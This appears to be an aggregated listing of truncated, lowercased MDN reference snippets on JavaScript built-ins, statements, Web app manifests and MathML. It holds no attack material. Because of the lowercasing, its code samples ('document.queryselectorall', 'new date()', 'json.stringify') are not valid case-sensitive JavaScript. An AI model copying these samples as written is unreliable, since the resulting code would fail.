urn x.charcodeat(0) }) // a now equals [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100] using map generically queryselectorall this example shows how to iterate through a collection of objects collected by queryselectorall. this is because queryselectorall returns a nodelist (which is a collection of objects). in this case, we return all the selected options' values on the screen: let elems = document.queryselectorall('select option:checked') let values = array.prototype.map.call(elems, function(obj) { return obj.value }) an easier way would be the array.from() method. tricky use case (inspired by this blog post) it is common to use the callback with one argument (the element being traversed). certain functions are also commonly used with one argument, even though they take a...
Array.prototype.slice() - JavaScript
the original array will not be modified. the source for this interactive demo is stored in a github repository. if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.slice([start[, end]]) parameters start optional zero-based index at which to start extraction. ...
Array.prototype.splice() - JavaScript
the splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let arrdeleteditems = array.splice(start[, deletecount[, item1[, item2[, ...]]]]) parameters start the index at which to start changing the array. if greater than the length of the array, start will be set to the length of the array. in this case, no element will be deleted but the method will behave as an adding function, adding as many element as item[n*] provided. if negative, it will begin that many elements from the...
BigInt.prototype.toLocaleString() - JavaScript
ecmascript internationalization api (ecma-402)the definition of 'bigint.prototype.tolocalestring()' in that specification. ...
Date() constructor - JavaScript
syntax new date() new date(value) new date(datestring) new date(year, monthindex [, day [, hours [, minutes [, seconds [, milliseconds]]]]]) note: the only correct way to instantiate a new date object is by using the new operator. if you simply call the date object directly, such as now = date(), the returned value is a string rather than a date object. parameters there are four basic forms for the date() constructor: no parameters when no parameters are provided, the newly-created date object represents the current date and time as of the time of instantiation. time value or timestamp number value an integer value representing the number of milliseconds since january 1, 1970, 00:00:00 utc (the ecmascript epoch, equivalent to the unix epoch), with leap secon...
Date.parse() - JavaScript
ication of the iso 8601 calendar date extended format. (see the section date time string format in the ecmascript specification for more details.) for example, "2011-10-10" (date-only form), "2011-10-10t14:48:00" (date-time form), or "2011-10-10t14:48:00.000+09:00" (date-time form with milliseconds and time zone) can be passed and will be parsed. when the time zone offset is absent, date-only forms are interpreted as a utc time and date-time forms are interpreted as local time. while time zone specifiers are used during date string parsing to interpret the argument, the value returned is always the number of milliseconds between january 1, 1970 00:00:00 utc and the point in time represented by the argument or nan. because parse() is a static method of date, it is called as date.parse() ra...
Date.prototype.setUTCSeconds() - JavaScript
the setutcseconds() method sets the seconds for a specified date according to universal time. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.setutcseconds(secondsvalue[, msvalue]) parameters secondsvalue an integer between 0 and 59, representing the seconds. msvalue optional. a number between 0 and 999, representing the milliseconds. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date. description if you do not specify the msvalue parameter, the value returned from the getutcmilliseconds() method is used. if a parameter you specify is outsi...
FinalizationRegistry - JavaScript
llection work can be split up over time using incremental and concurrent techniques. various runtime heuristics can be used to balance memory usage, responsiveness. the javascript engine may hold references to things which look like they are unreachable (e.g., in closures, or inline caches). different javascript engines may do these things differently, or the same engine may change its algorithms across versions. complex factors may lead to objects being held alive for unexpected amounts of time, such as use with certain apis. notes on cleanup callbacks some notes on cleanup callbacks: developers shouldn't rely on cleanup callbacks for essential program logic. cleanup callbacks may be useful for reducing memory usage across the course of a program, but are unlikely to be useful ot...
Generator - JavaScript
constructor this object cannot be instantiated directly. instead, a generator instance can be returned from a generator function: function* generator() { yield 1; yield 2; yield 3; } const gen = generator(); // "generator { }" instance methods generator.prototype.next() returns a value yielded by the yield expression. generator.prototype.return() returns the given value and finishes the generator. generator.prototype.throw() throws an error to a generator (also finishes the generator, unless caught from within that generator). ...
Intl.DateTimeFormat() constructor - JavaScript
ations are required to support at least the following subsets: weekday, year, month, day, hour, minute, second weekday, year, month, day year, month, day year, month month, day hour, minute, second hour, minute implementations may support other subsets, and requests will be negotiated against all available subset-representation combinations to find the best match. two algorithms are available for this negotiation and selected by the formatmatcher property: a fully specified "basic" algorithm and an implementation-dependent "best fit" algorithm. weekday the representation of the weekday. possible values are: "long" (e.g., thursday) "short" (e.g., thu) "narrow" (e.g., t). two weekdays may have the same narrow style for some locales (e.g. tuesday's narrow...
Intl.NumberFormat.prototype.format() - JavaScript
ing format with map use the format getter function for formatting all numbers in an array. note that the function is bound to the numberformat from which it was obtained, so it can be passed directly to array.prototype.map. this is considered a historical artefact, as part of a convention which is no longer followed for new features, but is preserved to maintain compatibility with existing programs. var a = [123456.789, 987654.321, 456789.123]; var numberformat = new intl.numberformat('es-es'); var formatted = a.map(n => numberformat.format(n)); console.log(formatted.join('; ')); // → "123.456,789; 987.654,321; 456.789,123" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.prototype.format' in that speci...
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
e properties in the options argument or filled in as defaults. these properties are only present if style is "currency". only one of the following two groups of properties is included: minimumintegerdigits minimumfractiondigits maximumfractiondigits the values provided for these properties in the options argument or filled in as defaults. these properties are present only if neither minimumsignificantdigits nor maximumsignificantdigits was provided in the options argument. minimumsignificantdigits maximumsignificantdigits the values provided for these properties in the options argument or filled in as defaults. these properties are present only if at least one of them was provided in the options argument. examples using the resolvedoptions method var de = new intl.numberformat...
Intl.NumberFormat - JavaScript
equest a currency format console.log(new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }).format(number)); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(new intl.numberformat('ja-jp', { style: 'currency', currency: 'jpy' }).format(number)); // → ¥123,457 // limit to three significant digits console.log(new intl.numberformat('en-in', { maximumsignificantdigits: 3 }).format(number)); // → 1,23,000 using style and unit console.log(new intl.numberformat("pt-pt", { style: 'unit', unit: "mile-per-hour" }).format(50)); // → 50 mi/h console.log((16).tolocalestring('en-gb', { style: "unit", unit: "liter", unitdisplay: "long" })); // → 16 litres specifications specification ecmascript inter...
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
cale, seleced from the list "zero", "one", "two", "few", "many" and "other". type the type used (cardinal or ordinal). only one of the following two groups of properties is included: minimumintegerdigits minimumfractiondigits maximumfractiondigits the values provided for these properties in the options argument or filled in as defaults. these properties are present only if neither minimumsignificantdigits nor maximumsignificantdigits was provided in the options argument. minimumsignificantdigits maximumsignificantdigits the values provided for these properties in the options argument or filled in as defaults. these properties are present only if at least one of them was provided in the options argument. examples using the resolvedoptions method var de = new intl.pluralrules(...
Intl.RelativeTimeFormat.prototype.format() - JavaScript
ct, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax relativetimeformat.format(value, unit) parameters value numeric value to use in the internationalized relative time message. unit unit to use in the relative time internationalized message. possible values are: "year", "quarter", "month", "week", "day", "hour", "minute", "second". plural forms are also permitted. description the function returned by the format getter formats a value and a unit into a string according to the locale and formatting options of this intl.relativetimeformat object. examples basic format usage the following example shows how to create a relative time formatter using the english language. // create a relative time formatter in your locale // with defaul...
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
ase clone https://github.com/mdn/interactive-examples and send us a pull request. syntax relativetimeformat.formattoparts(value, unit) parameters value numeric value to use in the internationalized relative time message. unit unit to use in the relative time internationalized message. possible values are: "year", "quarter", "month", "week", "day", "hour", "minute", "second". plural forms are also permitted. return value an array of objects containing the formatted relative time in parts. description the intl.relativetimeformat.prototype.formattoparts method is a version of the format method which it returns an array of objects which represent "parts" of the object, separating the formatted number into its consituent parts and separating it from other surrounding text. these ...
JSON.stringify() - JavaScript
only if you are directly interpreting the result of json.stringify do you need to carefully handle json.stringify's two possible encodings of these code points. specifications specification ecmascript (ecma-262)the definition of 'json.stringify' in that specification. ...
Math.E - JavaScript
math.e=e≈2.718\mathtt{\mi{math.e}} = e \approx 2.718 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.e writable no enumerable no configurable no description because e is a static property of math, you always use it as math.e, rather than as a property of a math object you created (math is not a constructor). ...
Math.atan() - JavaScript
atan() is a static method of math, you always use it as math.atan(), rather than as a method of a math object you created (math is not a constructor). examples using math.atan() math.atan(1); // 0.7853981633974483 math.atan(0); // 0 math.atan(-0); // -0 math.atan(infinity); // 1.5707963267948966 math.atan(-infinity); // -1.5707963267948966 // the angle that the line [(0,0);(x,y)] forms with the x-axis in a cartesian coordinate system math.atan(y / x); note that you may want to avoid using ±infinity for stylistic reasons. in this case, math.atan2() with 0 as the second argument may be a better solution. specifications specification ecmascript (ecma-262)the definition of 'math.atan' in that specification. ...
Math.clz32() - JavaScript
alue the number of leading zero bits in the 32-bit binary representation of the given number. description "clz32" is short for countleadingzeroes32. if x is not a number, then it will be converted to a number first, then converted to a 32-bit unsigned integer. if the converted 32-bit unsigned integer is 0, then return 32, because all bits are 0. this function is particularly useful for systems that compile to js, like emscripten. count leading ones and beyond at present, there is no math.clon for "count leading ones" (named "clon", not "clo", because "clo" and "clz" are too similar especially for non-english-speaking people). however, a clon function can easily be created by inversing the bits of a number and passing the result to math.clz32. doing this will work because the inverse ...
Math.exp() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax math.exp(x) parameters x a number. return value a number representing ex, where e is euler's number and x is the argument. ...
Math.expm1() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax math.expm1(x) parameters x a number. return value a number representing ex - 1, where e is euler's number and x is the argument. description because expm1() is a static method of math, you always use it as math.expm1(), rather than as a method of a math object you created (math is not a constructor). ...
Math.fround() - JavaScript
bit floating-point numbers, for example if you are reading values from a float32array. this can create confusion: checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical. to solve this, math.fround() can be used to cast the 64-bit float to a 32-bit float. internally, javascript continues to treat the number as a 64-bit float, it just performs a "round to even" on the 23rd bit of the mantissa, and sets all following mantissa bits to 0. if the number is outside the range of a 32-bit float, infinity or -infinity is returned. because fround() is a static method of math, you always use it as math.fround(), rather than as a method of a math object you created (math is not a constructor). polyfill this can be emulated with the following f...
Math.hypot() - JavaScript
s legs, or the complex number's real and complex components. the corresponding distance in 2 or more dimensions can be calculated by adding more squares under the square root: math.sqrt(v1*v1 + v2*v2 + v3*v3 + v4*v4). this function makes this calculation easier and faster; you simply call math.hypot(v1, v2) , or math.hypot(v1, v2, v3, v4, ...). math.hypot also avoids overflow/underflow problems if the magnitude of your numbers is very large. the largest number you can represent in js is number.max_value, which is around 10308. if your numbers are larger than about 10154, taking the square of them will result in infinity. for example, math.sqrt(1e200*1e200 + 1e200*1e200) = infinity . if you use hypot() instead, you get better answer: math.hypot(1e200, 1e200) = 1.4142...e+200 . this is a...
Math.log1p() - JavaScript
ding 1 can reduce or eliminate precision. the double floats used in js give you about 15 digits of precision. 1 + 1e-15 = 1.000000000000001, but 1 + 1e-16 = 1.000000000000000 and therefore exactly 1.0 in that arithmetic, because digits past 15 are rounded off. when you calculate log(1 + x), you should get an answer very close to x, if x is small (that's why these are called 'natural' logarithms). if you calculate math.log(1 + 1.1111111111e-15) you should get an answer close to 1.1111111111e-15. instead, you will end up taking the logarithm of 1.00000000000000111022 (the roundoff is in binary so sometimes it gets ugly), so you get the answer 1.11022...e-15, with only 3 correct digits. if, instead, you calculate math.log1p(1.1111111111e-15) you will get a much more accurate answer 1.1...
Number.parseInt() - JavaScript
m/mdn/interactive-examples and send us a pull request. syntax number.parseint(string,[ radix]) parameters string the value to parse. if this argument is not a string, then it is converted to one using the tostring abstract operation. leading whitespace in this argument is ignored. radix optional an integer between 2 and 36 that represents the radix (the base in mathematical numeral systems) of the string. be careful—this does not default to 10! return value an integer parsed from the given string. if the radix is smaller than 2 or bigger than 36, and the first non-whitespace character cannot be converted to a number, nan is returned. polyfill if (number.parseint === undefined) { number.parseint = window.parseint } examples number.parseint vs parseint this method ha...
Number.prototype.toLocaleString() - JavaScript
var number = 123456.789; // request a currency format console.log(number.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(number.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,457 // limit to three significant digits console.log(number.tolocalestring('en-in', { maximumsignificantdigits: 3 })); // → 1,23,000 // use the host default language with options for number formatting var num = 30000.65; console.log(num.tolocalestring(undefined, {minimumfractiondigits: 2, maximumfractiondigits: 2})); // → "30,000.65" where english is the default language, or // → "30.000,65" where german is the default language, or // → "30 000,65" where french is the default lang...
Number.prototype.toPrecision() - JavaScript
...
Number - JavaScript
numbers beyond that are replaced with the special number constant infinity. a number literal like 37 in javascript code is a floating-point value, not an integer. there is no separate integer type in common everyday use. (javascript now has a bigint type, but it was not designed to replace number for everyday uses. 37 is still a number, not a bigint.) number may also be expressed in literal forms like 0b101, 0o13, 0x0a. learn more on numeric lexical grammar here. description when used as a function, number(value) converts a string or other value to the number type. if the value can't be converted, it returns nan. literal syntax 123 // one-hundred twenty-three 123.0 // same 123 === 123.0 // true function syntax number('123') // returns the number 123 number('123') === 123 /...
Object.entries() - JavaScript
properties is the same as that given by looping over the property values of the object manually. ...
Object.freeze() - JavaScript
bject is fixed. note that strings, numbers, and booleans are always immutable and that functions and arrays are objects. what is "shallow freeze"? the result of calling object.freeze(object) only applies to the immediate properties of object itself and will prevent future property addition, removal or value re-assignment operations only on object. if the value of those properties are objects themselves, those objects are not frozen and may be the target of property addition, removal or value re-assignment operations. var employee = { name: "mayank", designation: "developer", address: { street: "rohini", city: "delhi" } }; object.freeze(employee); employee.name = "dummy"; // fails silently in non-strict mode employee.address.city = "noida"; // attributes of child object c...
Object.getOwnPropertyNames() - JavaScript
) { return this.foo; }, enumerable: false } }); my_obj.foo = 1; console.log(object.getownpropertynames(my_obj).sort()); // logs ["foo", "getfoo"] if you want only the enumerable properties, see object.keys() or use a for...in loop (note that this will also return enumerable properties found along the prototype chain for the object unless the latter is filtered with hasownproperty()). ...
Object.prototype.hasOwnProperty() - JavaScript
'; o.hasownproperty('prop'); // returns true o.hasownproperty('tostring'); // returns false o.hasownproperty('hasownproperty'); // returns false iterating over the properties of an object the following example shows how to iterate over the properties of an object without executing on inherited properties. note that the for...in loop is already only iterating enumerable items, so one should not assume based on the lack of non-enumerable properties shown in the loop that hasownproperty itself is confined strictly to enumerable items (as with object.getownpropertynames()). var buz = { fog: 'stack' }; for (var name in buz) { if (buz.hasownproperty(name)) { console.log('this is fog (' + name + ') for sure. value: ' + buz[name]); } else { console.lo...
Object.prototype.toSource() - JavaScript
...
Object.values() - JavaScript
es() returns an array whose elements are the enumerable property values found on the object. the ordering of the properties is the same as that given by looping over the property values of the object manually. polyfill to add compatible object.values support in older environments that do not natively support it, you can find a polyfill in the tc39/proposal-object-values-entries or in the es-shims/object.values repositories. examples using object.values const obj = { foo: 'bar', baz: 42 }; console.log(object.values(obj)); // ['bar', 42] // array-like object const arraylikeobj1 = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.values(arraylikeobj1 )); // ['a', 'b', 'c'] // array-like object with random key ordering // when using numeric keys, the values are returned in the keys' numeric...
Promise.any() - JavaScript
the value from that promise. if no promises in the iterable fulfil (if all of the given promises are rejected), then the returned promise is rejected with an aggregateerror, a new subclass of error that groups together individual errors. essentially, this method is the opposite of promise.all(). warning! the promise.any() method is experimental and not fully supported by all browsers and platforms. it is currently in stage 4 of the tc39 process. syntax promise.any(iterable); parameters iterable an iterable object, such as an array. return value an already resolved promise if the iterable passed is empty. an asynchronously resolved promise if the iterable passed contains no promises. a pending promise in all other cases. this returned promise is then resolved/rejected async...
Proxy - JavaScript
ser objects like dom elements. validation with a proxy, you can easily validate the passed value for an object. this example uses the set handler. ...
RegExp.prototype[@@split]() - JavaScript
e clone https://github.com/mdn/interactive-examples and send us a pull request. syntax regexp[symbol.split](str[, limit]) parameters str the target of the split operation. limit optional integer specifying a limit on the number of splits to be found. the [@@split]() method still splits on every match of this regexp pattern (or, in the syntax above, regexp), until the number of split items match the limit or the string falls short of this pattern. return value an array containing substrings as its elements. description this method is called internally in string.prototype.split() if its separator argument is an object that has a @@split method, such as a regexp. for example, the following two examples return the same result. 'a-b-c'.split(/-/); /-/[symbol.split]('a-b-c'); ...
RegExp.prototype.exec() - JavaScript
specified by the regular expression's lastindex property (test() will also advance the lastindex property). note that the lastindex property will not be reset when searching a different string, it will start its search at its existing lastindex . for example, assume you have this script: let myre = /ab*/g; let str = 'abbcdefabh'; let myarray; while ((myarray = myre.exec(str)) !== null) { let msg = 'found ' + myarray[0] + '. '; msg += 'next match starts at ' + myre.lastindex; console.log(msg); } this script displays the following text: found abb. next match starts at 3 found ab. next match starts at 9 warning: do not place the regular expression literal (or regexp constructor) within the while condition! it will create an infinite loop if there is a match, due to the lastinde...
Planned changes to shared memory - JavaScript
re enabled by default. chrome intends to implement similar restrictions. new http header bonanza as a baseline requirement, documents will need to be in a secure context. for top-level documents, two headers will need to be set: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects victims from your origin) with these two headers set, postmessage() will no longer throw for sharedarraybuffer objects and shared memory across threads is therefore available. nested documents and dedicated workers will need to set the cross-origin-embedder-policy header as well with the same value. no further changes are needed for same-origin nested documents and subresources. same-site (but cross-o...
SharedArrayBuffer() constructor - JavaScript
the sharedarraybuffer() constructor is used to create a sharedarraybuffer object representing a generic, fixed-length raw binary data buffer, similar to the arraybuffer object. the source for this interactive example is stored in a github repository. ...
SharedArrayBuffer - JavaScript
uffer objects and shared memory across threads will be available: as a baseline requirement, your document needs to be in a secure context. ...
String() constructor - JavaScript
syntax new string(thing) string(thing) parameters thing anything to be converted to a string. examples string constructor and string function string function and string constructor produce different results: typeof string('hello world'); // string typeof new string('hello world'); // object here, the function produces a string (the primitive type) as promised. however, the constructor produces an instance of the type string (an object wrapper) and that's why you rarely want to use the string constructor at all. ...
String.prototype.charAt() - JavaScript
to 0xdb7f to treat high private surrogates // as single characters) if (0xd800 > prev || prev > 0xdbff) { throw 'low surrogate without preceding high surrogate' } // return the next character instead (and increment) return [str.charat(i + 1), i + 1] } fixing charat() to support non-basic-multilingual-plane (bmp) characters while the previous example may be more useful for programs that must support non-bmp characters (since it does not require the caller to know where any non-bmp character might appear), in the event that one does wish, in choosing a character by index, to treat the surrogate pairs within a string as the single characters they represent, one can use the following: function fixedcharat(str, idx) { let ret = '' str += '' let end = str.length let su...
String.prototype.localeCompare() - JavaScript
alecompare('c'); // -2 or -1 (or some other negative value) // alphabetically the word "check" comes after "against" yielding a positive value 'check'.localecompare('against'); // 2 or 1 (or some other positive value) // "a" and "a" are equivalent yielding a neutral value of zero 'a'.localecompare('a'); // 0 sort an array localecompare() enables case-insensitive sorting for an array. let items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu']; items.sort( (a, b) => a.localecompare(b, 'fr', {ignorepunctuation: true})); // ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé'] check browser support for extended arguments the locales and options arguments are not supported in all browsers yet. to check whether an implementation supports them, use the...
String.raw() - JavaScript
is not a well-formed object. description in most cases, string.raw() is used with template strings. the first syntax mentioned above is only rarely used, because the javascript engine will call this with proper arguments for you, (just like with other tag functions). string.raw() is the only built-in tag function of template strings. it works just like the default template function and performs concatenation. you can even re-implement it with normal javascript code. examples using string.raw() string.raw`hi\n${2+3}!`; // 'hi\n5!', the character after 'hi' // is not a newline character, // '\' and 'n' are two characters. string.raw`hi\u000a!`; // 'hi\u000a!', same here, this time we will get the // \, u, 0, 0, 0, a, 6 characters. // all kinds of escape characters will be ineffectiv...
Symbol.asyncIterator - JavaScript
// "iteration!" } })(); when creating an api, remember that async iterables are designed to represent something iterable — like a stream of data or a list —, not to completely replace callbacks and events in most situations. built-in async iterables there are currently no built-in javascript objects that have the [symbol.asynciterator] key set by default. however, whatwg streams are set to be the first built-in object to be async iterable, with [symbol.asynciterator] recently landing in the spec. specifications specification ecmascript (ecma-262)the definition of 'symbol.asynciterator' in that specification. ...
Symbol - JavaScript
reate a symbol wrapper object, you can use the object() function: let sym = symbol('foo') typeof sym // "symbol" let symobj = object(sym) typeof symobj // "object" shared symbols in the global symbol registry the above syntax using the symbol() function will not create a global symbol that is available in your whole codebase. to create symbols available across files and even across realms (each of which has its own global scope), use the methods symbol.for() and symbol.keyfor() to set and retrieve symbols from the global symbol registry. finding symbol properties on objects the method object.getownpropertysymbols() returns an array of symbols and lets you find symbol properties on a given object. note that every object is initialized with no own symbol properties, so that this a...
WeakRef - JavaScript
llection work can be split up over time using incremental and concurrent techniques. various runtime heuristics can be used to balance memory usage, responsiveness. the javascript engine may hold references to things which look like they are unreachable (e.g., in closures, or inline caches). different javascript engines may do these things differently, or the same engine may change its algorithms across versions. complex factors may lead to objects being held alive for unexpected amounts of time, such as use with certain apis. notes on weakrefs some notes on weakrefs: if your code has just created a weakref for a target object, or has gotten a target object from a weakref's deref method, that target object will not be reclaimed until the end of the current javascript job (includin...
WeakSet - JavaScript
the weakset is weak, meaning references to objects in a weakset are held weakly. if no other references to an object stored in the weakset exist, those objects can be garbage collected. note: this also means that there is no list of current objects stored in the collection. weaksets are not enumerable. use case: detecting circular references functions that call themselves recursively need a way of guarding against circular data structures by tracking which objects have already been processed. weaksets are ideal for this purpose: // execute a callback on everything stored inside an object function execrecursively(fn, subject, _refs = null){ if(!_refs) _refs = new weakset(); // avoid infinite recursion if(_refs.has(subject)) return; fn(subject); i...
encodeURIComponent() - JavaScript
this will encode "&" symbols that may inadvertently be generated during data entry for special html entities or other characters that require encoding/decoding. for example, if a user writes "jack & jill", the text may get encoded as "jack &amp; jill". without encodeuricomponent() the ampersand could be interpretted on the server as the start of a new field and jeopardize t...
eval() - JavaScript
unday"][n%7 || 0]; } function loosejsonparse(obj){ return eval("(" + obj + ")"); } console.log(loosejsonparse( "{a:(4-1), b:function(){}, c:new date()}" )) thus, in the eval() version of the code, the browser is forced to make the expensive lookup call to check to see if there are any local variables called date(). this is incredibly inefficient compared to function(). in a related circumstance, what if you actually wanted your date() function to be able to be called from the code inside function(). should you just take the easy way out and fall back to eval()? no! never. instead try the approach below. function date(n){ return ["monday","tuesday","wednesday","thursday","friday","saturday","sunday"][n%7 || 0]; } function runcodewithdatefunction(obj){ return function('"use ...
null - JavaScript
relevant. // foo does not exist. it is not defined and has never been initialized: foo; //referenceerror: foo is not defined // foo is known to exist now but it has no type or value: var foo = null; foo; //null examples difference between null and undefined when checking for null or undefined, beware of the differences between equality (==) and identity (===) operators, as the former performs type-conversion. typeof null // "object" (not "null" for legacy reasons) typeof undefined // "undefined" null === undefined // false null == undefined // true null === null // true null == null // true !null // true isnan(1 + null) // false isnan(1 + undefined) // true specifications specification ecmascript (ecma-262)the d...
parseInt() - JavaScript
the parseint() function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax parseint(string [, radix]) parameters string the value to parse. if this argument is not a string, then it is converted to one using the tostring abstract operation. leading whitespace in this argument is ignored. radix optional an integer between 2 and 36 that represents the radix (the base in mathematical numeral systems) of the string. be careful—this does not default to 10! the description below explains in m...
Lexical grammar - JavaScript
only the following unicode code points are treated as line terminators in ecmascript, other line breaking characters are treated as white space (for example, next line, nel, u+0085 is considered as white space). line terminator characters code point name abbreviation description escape sequence u+000a line feed <lf> new line character in unix systems. \n u+000d carriage return <cr> new line character in commodore and early mac systems. \r u+2028 line separator <ls> wikipedia u+2029 paragraph separator <ps> wikipedia comments comments are used to add hints, notes, suggestions, or warnings to javascript code. this can make it easier to read and understand. they can also...
Logical OR assignment (||=) - JavaScript
ll request. syntax expr1 ||= expr2 description short-circuit evaluation the logical or operator works like this: x || y; // returns x when x is truthy // returns y when x is not truthy the logical or operator short-circuits: the second operand is only evaluated if the first operand doesn’t already determine the result. logical or assignment short-circuits as well, meaning it only performs an assignment if the logical operation would evaluate the right-hand side. in other words, x ||= y is equivalent to: x || (x = y); and not equivalent to the following which would always perform an assignment: x = x || y; note that this behavior is different to mathematical and bitwise assignment operators. examples setting default content if the "lyrics" element is empty, set the innerht...
new.target - JavaScript
for example, when d was initialized using new d(), the class definition of d was printed; and similarly, in case of c, the class c was printed. specifications specification ecmascript (ecma-262)the definition of 'built-in function objects' in that specification. ...
async function - JavaScript
unction will always complete asynchronously. for example: async function foo() { await 1 } ...is equivalent to: function foo() { return promise.resolve(1).then(() => undefined) } code after each await expression can be thought of as existing in a .then callback. in this way a promise chain is progressively constructed with each reentrant step through the function. the return value forms the final link in the chain. in the following example, we successively await two promises. progress moves through function foo in three stages. the first line of the body of function foo is executed synchronously, with the await expression configured with the pending promise. progress through foo is then suspended and control is yielded back to the function that called foo. some time later, ...
const - JavaScript
empting to overwrite the object throws an error // uncaught typeerror: assignment to constant variable. my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object immutable // the same applies to arrays const my_array = []; // it's possible to push items into the array my_array.push('a'); // ["a"] // however, assigning a new array to the variable throws an error // uncaught typeerror: assignment to constant variable. my_array = ['b']; specifications specification ecmascript (ecma-262)the definition of 'let and const declarations' in that specification. ...
export - JavaScript
bindings that are exported can still be modified locally; when imported, although they can only be read by the importing module the value updates whenever it is updated by the exporting module. exported modules are in strict mode whether you declare them as such or not. the export statement cannot be used in embedded scripts. ...
for...of - JavaScript
in these cases, the iterator is closed. function* foo(){ yield 1; yield ...
for - JavaScript
tatement that is executed as long as the condition evaluates to true. to execute multiple statements within the loop, use a block statement ({ ... }) to group those statements. to execute no statement within the loop, use an empty statement (;). examples using for the following for statement starts by declaring the variable i and initializing it to 0. it checks that i is less than nine, performs the two succeeding statements, and increments i by 1 after each pass through the loop. for (let i = 0; i < 9; i++) { console.log(i); // more statements } optional for expressions all three expressions in the head of the for loop are optional. for example, in the initialization block it is not required to initialize variables: var i = 0; for (; i < 9; i++) { console.log(i); // ...
function* - JavaScript
statements the statements comprising the body of the function. description generators are functions that can be exited and later re-entered. their context (variable bindings) will be saved across re-entrances. generators in javascript -- especially when combined with promises -- are a very powerful tool for asynchronous programming as they mitigate -- if not entirely eliminate -- the problems with callbacks, such as callback hell and inversion of control. however, an even simpler solution to these problems can be achieved with async functions. calling a generator function does not execute its body immediately; an iterator object for the function is returned instead. when the iterator's next() method is called, the generator function's body is executed until the first yield expression...
let - JavaScript
very much like var. the main difference is that the scope of a var variable is the entire enclosing function: function vartest() { var x = 1; { var x = 2; // same variable! console.log(x); // 2 } console.log(x); // 2 } function lettest() { let x = 1; { let x = 2; // different variable console.log(x); // 2 } console.log(x); // 1 } at the top level of programs and functions, let, unlike var, does not create a property on the global object. for example: var x = 'global'; let y = 'global'; console.log(this.x); // "global" console.log(this.y); // undefined emulating private members in dealing with constructors it is possible to use the let bindings to share one or more private members without using closures: var thing; { let privatescope = new wea...
try...catch - JavaScript
inally_statements statements that are executed after the try statement completes. these statements execute regardless of whether an exception was thrown or caught. description the try statement consists of a try-block, which contains one or more statements. {} must always be used, even for single statements. at least one catch-block, or a finally-block, must be present. this gives us three forms for the try statement: try...catch try...finally try...catch...finally a catch-block contains statements that specify what to do if an exception is thrown in the try-block. if any statement within the try-block (or in a function called from within the try-block) throws an exception, control is immediately shifted to the catch-block. if no exception is thrown in the try-block, the catch-blo...
var - JavaScript
// 1 console.log('still going...'); // still going... in the global context, a variable declared using var is added as a non-configurable property of the global object. this means its property descriptor cannot be changed and it cannot be deleted using delete. the corresponding name is also added to a list on the internal [[varnames]] slot on the global environment record (which forms part of the global lexical environment). the list of names in [[varnames]] enables the runtime to distinguish between global variables and straightforward properties on the global object. the property created on the global object for global variables, is set to be non-configurable because the identifier is to be treated as a variable, rather than a straightforward property of the global object. ...
Transitioning to strict mode - JavaScript
gradual transition strict mode has been designed so that the transition to it can be made gradually. ...
description - Web app manifests
ry no the description member is a string in which developers can explain what the application does. description is directionality-capable, which means it can be displayed left to right or right to left based on the values of the dir and lang manifest members. examples simple description in left-to-right language: "description": "awesome application that will help you achieve your dreams." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'description' in that specification. working draft initial definition. ...
<menclose> - MathML
wn as if the others are not present, and therefore may overlap. possible values are: value sample rendering rendering in your browser description longdiv (default) a2 + b2 long division symbol actuarial a2 + b2 actuarial symbol radical a2 + b2 square root symbol. deprecated. use <msqrt> instead. box a2 + b2 box roundedbox a2 + b2 rounded box circle a2 + b2 circle left a2 + b2 line to the left of the contents right a2 + b2 line to the right of the contents top a2 + b2 line above of the contents ...
<mn> - MathML
Web › MathML › Element › mn
ext color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this attribute specifies the logical class of the number which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example s...
<mo> - MathML
Web › MathML › Element › mo
